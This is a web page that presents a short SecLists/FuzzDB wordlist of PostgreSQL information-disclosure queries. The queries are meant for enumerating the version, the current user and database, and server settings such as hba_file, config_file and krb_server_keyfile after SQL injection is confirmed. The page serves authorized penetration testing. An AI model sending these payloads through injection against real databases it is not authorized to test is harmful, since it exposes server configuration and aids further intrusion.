Skip to content
Fuzzing693 B

PostgreSQL Enumeration (FuzzDB)

PostgreSQL information-disclosure SELECT statements for enumerating version, current user/database and server settings once injection is confirmed. Useful post-detection on Postgres back ends.

View source
Size
693 B
Category
Fuzzing
Source
danielmiessler/SecLists
License
MIT
Recommended tools
sqlmapburp

Preview

First 15 entries. Download or copy the full list (693 B) using the buttons above.

>head postgres-enumeration-fuzzdb.txt693 B
# info disclosure payload fuzzfile for pgsql
select version();	
select current_database();
select current_user;
select session_user;
select current_setting('log_connections');
select current_setting('log_statement');
select current_setting('port');
select current_setting('password_encryption');
select current_setting('krb_server_keyfile');
select current_setting('virtual_host');
select current_setting('port');
select current_setting('config_file');
select current_setting('hba_file');
select current_setting('data_directory');

PostgreSQL information-disclosure SELECT statements for enumerating version, current user/database and server settings once injection is confirmed. Useful post-detection on Postgres back ends.

This list is geared toward input fuzzing and vulnerability discovery. It contains roughly 693 B and pairs well with tools such as sqlmap, burp. Pick the smallest list that fits your engagement: shorter lists are faster and quieter for online attacks, while larger lists give broader coverage for offline work where speed is less of a constraint.

You can copy the sample preview straight from this page, copy the entire list to your clipboard, or download the raw .txt file. The full list is served directly from its upstream source on GitHub.

Sourced from danielmiessler/SecLists and distributed under MIT. Only use wordlists against systems you are explicitly authorized to test.